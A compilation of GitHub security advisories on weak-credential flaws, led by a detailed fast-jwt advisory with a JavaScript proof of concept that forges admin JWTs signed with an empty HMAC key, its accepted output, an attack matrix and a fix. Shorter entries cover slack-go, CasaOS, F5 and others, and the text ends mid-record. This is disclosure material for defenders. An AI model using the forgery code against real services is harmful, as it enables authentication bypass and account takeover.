The bug exists only on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.

PoC

// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'

function b64url(buf) {
  return Buffer.from(buf).toString('base64')
    .replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}

// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
  sub: 'attacker', admin: true,
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`

// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
  key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})

console.log(await verifier(forgedToken))

Output on fast-jwt@6.2.3:

{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }

— the attacker-chosen payload is returned as authentic.

Attack matrix verified against fast-jwt@6.2.3:

Resolver shape algorithms option HS256 HS384 HS512
async () => '' (default) ✅ accept ✅ accept ✅ accept
(d, cb) => cb(null, '') (default) ✅ accept ✅ accept ✅ accept
async d => keys[d.header.kid] \|\| '' (default) ✅ accept ✅ accept ✅ accept
async () => '' ['HS256','HS384','HS512'] ✅ accept ✅ accept ✅ accept
async () => '' ['HS256','RS256'] ✅ accept INVALID_ALG INVALID_ALG
async () => '' ['RS256'] INVALID_KEY INVALID_KEY INVALID_KEY

The bug is only not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.

Sense checks (also verified against fast-jwt@6.2.3 to rule out my harness):

  • A token signed with the real secret continues to verify correctly. → ACCEPTED.
  • A forged-empty-key token sent to a verifier whose resolver returns the real secret is rejected. → INVALID_SIGNATURE.
  • The synchronous key: '' (string) configuration is correctly rejected. → MISSING_KEY.

Impact

Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, and whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.

Concrete attacker capabilities:

  1. Mint arbitrary JWTs with attacker-chosen sub, admin, roles, scopes, iss, aud, etc.
  2. Full identity assumption — any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
  3. Default-config exploitable — the caller does not need to misconfigure algorithms. With the default empty array, fast-jwt itself assigns ['HS256','HS384','HS512'] when it sees an empty key.
  4. Cache amplification — once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.

The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.

Suggested fix

Reject zero-length HMAC secrets in prepareKeyOrSecret:

 function prepareKeyOrSecret(key, isSecret) {
   if (typeof key === 'string') {
     key = Buffer.from(key, 'utf-8')
   }
+
+  if (isSecret && (!key || key.length === 0)) {
+    throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')
+  }
+
   return isSecret ? createSecretKey(key) : createPublicKey(key)
 }

This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with FAST_JWT_INVALID_KEY, while valid-token verification, valid-secret verification, and the synchronous key: '' rejection path are unaffected.

For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a strictMode flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-287",
      "CWE-326"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:26:37Z",
    "nvd_published_at": "2026-05-13T20:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA critical authentication-bypass vulnerability in `fast-jwt`\u0027s async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application\u0027s key resolver returns an empty string (`\u0027\u0027`), for example via the common `keys[decoded.header.kid] || \u0027\u0027` JWKS-style fallback, fast-jwt converts it to a zero-length `Buffer`, hands it to `crypto.createSecretKey`, derives `allowedAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` from it, and then verifies the token\u0027s signature against an empty-key HMAC. The attacker simply computes `HMAC-SHA256(key=\u0027\u0027, input=\u0027${header}.${payload}\u0027)`, which Node accepts without complaint \u2014 and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release `fast-jwt@6.2.3`.\n\n### Preconditions\n\nFor this issue to occur the following MUST ALL be true:\n\n1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. `createVerifier({key: async (decoded) =\u003e ... })`)\n2. The response from the async callback MUST return an empty string `\u0027\u0027` OR zero-length buffer (e.g. `Buffer.alloc(0)`). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue\n3. The library configuration must allow HMAC signatures. This is the default for the library.\n4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.\n5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.\n\n\n### Details\n\n`src/verifier.js` `prepareKeyOrSecret` (lines 33-39):\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (typeof key === \u0027string\u0027) {\n    key = Buffer.from(key, \u0027utf-8\u0027)\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)   // \u2190 no length check\n}\n```\n\n`src/verifier.js` async key-resolver flow (lines 429-468):\n\n```js\ngetAsyncKey(key, { header, payload, signature }, (err, currentKey) =\u003e {\n  ...\n  if (typeof currentKey === \u0027string\u0027) {\n    currentKey = Buffer.from(currentKey, \u0027utf-8\u0027)   // \u0027\u0027 \u2192 Buffer.alloc(0)\n  } else if (!(currentKey instanceof Buffer)) {\n    return callback(... \u0027string or buffer\u0027...)\n  }\n\n  try {\n    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)\n    // detectPublicKeyAlgorithms(\u0027\u0027) hits the `!publicKeyPemMatch \u0026\u0026 !X509`\n    // branch \u2192 returns hsAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]\n\n    if (validationContext.allowedAlgorithms.length) {\n      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)\n    } else {\n      validationContext.allowedAlgorithms = availableAlgorithms   // default empty \u2192 HMAC family assigned\n    }\n\n    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])\n    // \u2192 createSecretKey(Buffer.alloc(0)) \u2014 Node accepts the empty secret silently\n    verifyToken(currentKey, decoded, validationContext)\n  }\n})\n```\n\n`src/crypto.js` `verifySignature` (lines 286-291):\n\n```js\nif (type === \u0027HS\u0027) {\n  try {\n    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)\n  } catch { return false }\n}\n```\n\n`crypto.createHmac(\u0027sha256\u0027, emptyKey)` works. The HMAC of `${header}.${payload}` is fully attacker-computable. `timingSafeEqual` returns true. The verifier returns the attacker\u0027s payload as authentic.\n\nThe bug exists *only* on the function-typed key resolver path. The synchronous `key: \u0027\u0027 | undefined | null` configuration is correctly rejected at `createVerifier` setup because `if (key \u0026\u0026 keyType !== \u0027function\u0027)` short-circuits on falsy keys, and `verify` then throws `MISSING_KEY` when a token with a signature arrives. In contrast, the async-resolver path **does** allow `\u0027\u0027` to flow through.\n\n### PoC\n\n```js\n// package.json: { \"type\": \"module\" }\n// npm i fast-jwt\nimport { createVerifier } from \u0027fast-jwt\u0027\nimport * as crypto from \u0027node:crypto\u0027\n\nfunction b64url(buf) {\n  return Buffer.from(buf).toString(\u0027base64\u0027)\n    .replace(/=+$/, \u0027\u0027).replace(/\\+/g, \u0027-\u0027).replace(/\\//g, \u0027_\u0027)\n}\n\n// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.\nconst header = b64url(JSON.stringify({ alg: \u0027HS256\u0027, typ: \u0027JWT\u0027, kid: \u0027unknown-kid\u0027 }))\nconst payload = b64url(JSON.stringify({\n  sub: \u0027attacker\u0027, admin: true,\n  iat: Math.floor(Date.now() / 1000),\n  exp: Math.floor(Date.now() / 1000) + 60\n}))\nconst input = `${header}.${payload}`\nconst signature = b64url(crypto.createHmac(\u0027sha256\u0027, \u0027\u0027).update(input).digest())\nconst forgedToken = `${input}.${signature}`\n\n// Realistic JWKS-style verifier - looks up kid in a key map and falls back\n// to \u0027\u0027 when the kid is unknown (a widely-used JS idiom).\nconst verifier = createVerifier({\n  key: async (decoded) =\u003e ({ \u0027real-kid\u0027: \u0027\u003creal key\u003e\u0027 }[decoded.header.kid] || \u0027\u0027)\n})\n\nconsole.log(await verifier(forgedToken))\n```\n\nOutput on `fast-jwt@6.2.3`:\n\n```\n{ sub: \u0027attacker\u0027, admin: true, iat: 1777372426, exp: 1777372486 }\n```\n\n\u2014 the attacker-chosen payload is returned as authentic.\n\nAttack matrix verified against `fast-jwt@6.2.3`:\n\n| Resolver shape | `algorithms` option | HS256 | HS384 | HS512 |\n|---|---|---|---|---|\n| `async () =\u003e \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `(d, cb) =\u003e cb(null, \u0027\u0027)` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async d =\u003e keys[d.header.kid] \\|\\| \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027RS256\u0027]` | \u2705 accept | INVALID_ALG | INVALID_ALG |\n| `async () =\u003e \u0027\u0027` | `[\u0027RS256\u0027]` | INVALID_KEY | INVALID_KEY | INVALID_KEY |\n\nThe bug is *only* not triggered when the caller has explicitly restricted `algorithms` to a family incompatible with the empty key\u0027s detected `hsAlgorithms`.\n\nSense checks (also verified against `fast-jwt@6.2.3` to rule out my harness):\n\n- A token signed with the *real* secret continues to verify correctly. \u2192 ACCEPTED.\n- A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. \u2192 INVALID_SIGNATURE.\n- The synchronous `key: \u0027\u0027` (string) configuration is correctly rejected. \u2192 MISSING_KEY.\n\n### Impact\n\nWho is impacted: every Node.js application that uses fast-jwt with a function-typed `key` resolver, the standard JWKS pattern fast-jwt\u0027s own README documents, *and* whose resolver can ever return `\u0027\u0027` or a zero-length `Buffer` (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern `keys[decoded.header.kid] || \u0027\u0027` is widely used in JS code and AI-generated examples.\n\nConcrete attacker capabilities:\n\n1. **Mint arbitrary JWTs** with attacker-chosen `sub`, `admin`, `roles`, `scopes`, `iss`, `aud`, etc.\n2. **Full identity assumption** \u2014 any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.\n3. **Default-config exploitable** \u2014 the caller does not need to misconfigure `algorithms`. With the default empty array, fast-jwt itself assigns `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` when it sees an empty key.\n4. **Cache amplification** \u2014 once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.\n\nThe trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.\n\n### Suggested fix\n\nReject zero-length HMAC secrets in `prepareKeyOrSecret`:\n\n```diff\n function prepareKeyOrSecret(key, isSecret) {\n   if (typeof key === \u0027string\u0027) {\n     key = Buffer.from(key, \u0027utf-8\u0027)\n   }\n+\n+  if (isSecret \u0026\u0026 (!key || key.length === 0)) {\n+    throw new TokenError(TokenError.codes.invalidKey, \u0027HMAC secret key must not be empty.\u0027)\n+  }\n+\n   return isSecret ? createSecretKey(key) : createPublicKey(key)\n }\n```\n\nThis patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with `FAST_JWT_INVALID_KEY`, while valid-token verification, valid-secret verification, and the synchronous `key: \u0027\u0027` rejection path are unaffected.\n\nFor defence in depth, the maintainer may also want to enforce RFC 2104\u0027s recommended minimum HMAC key length (\u2265 output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a `strictMode` flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.",
  "id": "GHSA-gmvf-9v4p-v8jc",
  "modified": "2026-05-14T20:42:20Z",
  "published": "2026-05-06T22:26:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44351"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver"
}

GHSA-GXHX-2686-5H9G

Vulnerability from github – Published: 2026-05-14 20:52 – Updated: 2026-06-29 15:38
VLAI
Summary
slack-go `SecretsVerifier` accepts empty signing secret without precondition
Details

SecretsVerifier in slack-go/slack before v0.23.1 accepts an empty signing secret without error. If an application is misconfigured (e.g., an unset or empty SLACK_SIGNING_SECRET), NewSecretsVerifier builds an HMAC-SHA256 keyed with an empty string, allowing an unauthenticated attacker to forge a valid X-Slack-Signature and bypass Slack request authentication. Fixed in v0.23.1, which rejects empty secrets with ErrInvalidConfiguration. This is patched in version 0.23.1.

Severity
4.8 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/slack-go/slack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-287",
      "CWE-326"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:52:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`SecretsVerifier` in slack-go/slack before v0.23.1 accepts an empty signing secret without error. If an application is misconfigured (e.g., an unset or empty `SLACK_SIGNING_SECRET`), `NewSecretsVerifier` builds an HMAC-SHA256 keyed with an empty string, allowing an unauthenticated attacker to forge a valid `X-Slack-Signature` and bypass Slack request authentication. Fixed in v0.23.1, which rejects empty secrets with `ErrInvalidConfiguration`. This is patched in version 0.23.1.",
  "id": "GHSA-gxhx-2686-5h9g",
  "modified": "2026-06-29T15:38:00Z",
  "published": "2026-05-14T20:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/slack-go/slack/security/advisories/GHSA-gxhx-2686-5h9g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slack-go/slack/commit/34ad5c052e446f58505ae8d81a2a72821de107cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/slack-go/slack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/slack-go/slack/releases/tag/v0.23.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "slack-go `SecretsVerifier` accepts empty signing secret without precondition"
}

GHSA-HM5R-7FXM-9MRV

Vulnerability from github – Published: 2025-02-06 21:32 – Updated: 2025-02-06 21:32
VLAI
Details

A vulnerability was found in Bharti Airtel Xstream Fiber up to 20250123. It has been rated as problematic. This issue affects some unknown processing of the component WiFi Password Handler. The manipulation leads to use of weak credentials. The attack needs to be done within the local network. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to change the configuration settings. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
3.1 (Low)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
2.3 (Low)
CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-1081"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-06T21:15:23Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in Bharti Airtel Xstream Fiber up to 20250123. It has been rated as problematic. This issue affects some unknown processing of the component WiFi Password Handler. The manipulation leads to use of weak credentials. The attack needs to be done within the local network. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to change the configuration settings. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-hm5r-7fxm-9mrv",
  "modified": "2025-02-06T21:32:10Z",
  "published": "2025-02-06T21:32:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1081"
    },
    {
      "type": "WEB",
      "url": "https://packetstorm.news/files/id/188799"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.294857"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.294857"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.488582"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HXQJ-5M25-J368

Vulnerability from github – Published: 2026-06-03 15:30 – Updated: 2026-06-03 15:30
VLAI
Details

ProjectsAndPrograms school-management-system uses predictable credentials by generating student's and teacher's passwords solely from the user’s date of birth (e.g., 12072000 for 12 July 2000). The application does not require or prompt users to change the password upon first login. This behavior allows attackers to easily guess or derive valid credentials, leading to unauthorized account access.

The maintainers were notified early about this vulnerability but did not provide details regarding affected versions. The version corresponding to commit 6b6fae5 was tested and confirmed vulnerable; other versions were not tested and may also be affected.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-47325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T14:16:44Z",
    "severity": "MODERATE"
  },
  "details": "ProjectsAndPrograms school-management-system\u00a0uses predictable credentials by generating student\u0027s and teacher\u0027s passwords solely from the user\u2019s date of birth (e.g., 12072000 for 12 July 2000). The application does not require or prompt users to change the password upon first login. This behavior allows attackers to easily guess or derive valid credentials, leading to unauthorized account access.\n\nThe maintainers were notified early about this vulnerability but did not provide details regarding affected versions. The version corresponding to commit 6b6fae5 was tested and confirmed vulnerable; other versions were not tested and may also be affected.",
  "id": "GHSA-hxqj-5m25-j368",
  "modified": "2026-06-03T15:30:43Z",
  "published": "2026-06-03T15:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47325"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/06/CVE-2026-47324"
    },
    {
      "type": "WEB",
      "url": "https://oranbyte.com/projects/school-management-system"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J677-558J-PGRQ

Vulnerability from github – Published: 2025-08-26 00:31 – Updated: 2025-08-26 00:31
VLAI
Details

Securden’s Unified PAM Remote Vendor Gateway access portal shares infrastructure and access tokens across multiple tenants. A malicious actor can obtain authentication material and access the gateway server with low-privilege permissions.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-6737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-25T17:15:30Z",
    "severity": "HIGH"
  },
  "details": "Securden\u2019s Unified PAM Remote Vendor Gateway access portal shares infrastructure and access tokens across multiple tenants. A malicious actor can obtain authentication material and access the gateway server with low-privilege permissions.",
  "id": "GHSA-j677-558j-pgrq",
  "modified": "2025-08-26T00:31:14Z",
  "published": "2025-08-26T00:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6737"
    },
    {
      "type": "WEB",
      "url": "https://www.rapid7.com/blog/post/securden-unified-pam-multiple-critical-vulnerabilities-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JFQG-Q3JR-W9MV

Vulnerability from github – Published: 2023-08-02 18:30 – Updated: 2024-04-04 06:30
VLAI
Details

Specific F5 BIG-IP platforms with Cavium Nitrox FIPS HSM cards generate a deterministic password for the Crypto User account.  The predictable nature of the password allows an authenticated user with TMSH access to the BIG-IP system, or anyone with physical access to the FIPS HSM, the information required to generate the correct password.  On vCMP systems, all Guests share the same deterministic password, allowing those with TMSH access on one Guest to access keys of a different Guest.

The following BIG-IP hardware platforms are affected: 10350v-F, i5820-DF, i7820-DF, i15820-DF, 5250v-F, 7200v-F, 10200v-F, 6900-F, 8900-F, 11000-F, and 11050-F.

The BIG-IP rSeries r5920-DF and r10920-DF are not affected, nor does the issue affect software FIPS implementations or network HSM configurations.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Severity
6.0 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-287",
      "CWE-521"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-02T16:15:10Z",
    "severity": "MODERATE"
  },
  "details": "\nSpecific F5 BIG-IP platforms with Cavium Nitrox FIPS HSM cards generate a deterministic password for the Crypto User account. \u00a0The predictable nature of the password allows an authenticated user with TMSH access to the BIG-IP system, or anyone with physical access to the FIPS HSM, the information required to generate the correct password. \u00a0On vCMP systems, all Guests share the same deterministic password, allowing those with TMSH access on one Guest to access keys of a different Guest.\n\nThe following BIG-IP hardware platforms are affected: 10350v-F, i5820-DF, i7820-DF, i15820-DF, 5250v-F, 7200v-F, 10200v-F, 6900-F, 8900-F, 11000-F, and 11050-F.\n\nThe BIG-IP rSeries r5920-DF and r10920-DF are not affected, nor does the issue affect software FIPS implementations or network HSM configurations.\n\n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\n\n",
  "id": "GHSA-jfqg-q3jr-w9mv",
  "modified": "2024-04-04T06:30:00Z",
  "published": "2023-08-02T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3470"
    },
    {
      "type": "WEB",
      "url": "https://my.f5.com/manage/s/article/K000135449"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3G5-6W39-WJJ8

Vulnerability from github – Published: 2025-07-09 15:30 – Updated: 2025-07-14 18:30
VLAI
Details

Insecure Permissions vulnerability in Tenda CP3 Pro Firmware V22.5.4.93 allows the telnet service (telnetd) by default at boot via the initialization script /etc/init.d/eth.sh. This allows remote attackers to connect to the device s shell over the network, potentially without authentication if default or weak credentials are present

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-52364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-09T15:15:24Z",
    "severity": "HIGH"
  },
  "details": "Insecure Permissions vulnerability in Tenda CP3 Pro Firmware V22.5.4.93 allows the telnet service (telnetd) by default at boot via the initialization script /etc/init.d/eth.sh. This allows remote attackers to connect to the device s shell over the network, potentially without authentication if default or weak credentials are present",
  "id": "GHSA-m3g5-6w39-wjj8",
  "modified": "2025-07-14T18:30:41Z",
  "published": "2025-07-09T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52364"
    },
    {
      "type": "WEB",
      "url": "https://cybermaya.in/posts/Post-40"
    },
    {
      "type": "WEB",
      "url": "https://www.tendacn.com/product/download/cp3pro.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M5Q5-8MFW-P2HR

Vulnerability from github – Published: 2023-07-17 14:40 – Updated: 2024-12-12 22:30
VLAI
Summary
CasaOS contains weak JWT secrets
Details

Impact

Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as root on CasaOS instances.

Patches

The problem was addressed by improving the validation of JWTs in 705bf1f. This patch is part of CasaOS 0.4.4.

Workarounds

Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.

References

  • 705bf1f
  • https://www.sonarsource.com/blog/security-vulnerabilities-in-casaos/
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/IceWhaleTech/CasaOS"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-37266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-17T14:40:16Z",
    "nvd_published_at": "2023-07-17T21:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nUnauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances.\n\n### Patches\n\nThe problem was addressed by improving the validation of JWTs in 705bf1f. This patch is part of CasaOS 0.4.4.\n\n### Workarounds\n\nUsers should upgrade to CasaOS 0.4.4. If they can\u0027t, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.\n\n### References\n\n- 705bf1f\n- https://www.sonarsource.com/blog/security-vulnerabilities-in-casaos/\n",
  "id": "GHSA-m5q5-8mfw-p2hr",
  "modified": "2024-12-12T22:30:02Z",
  "published": "2023-07-17T14:40:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr"
    },
    {
      "type": "ADVISORY",
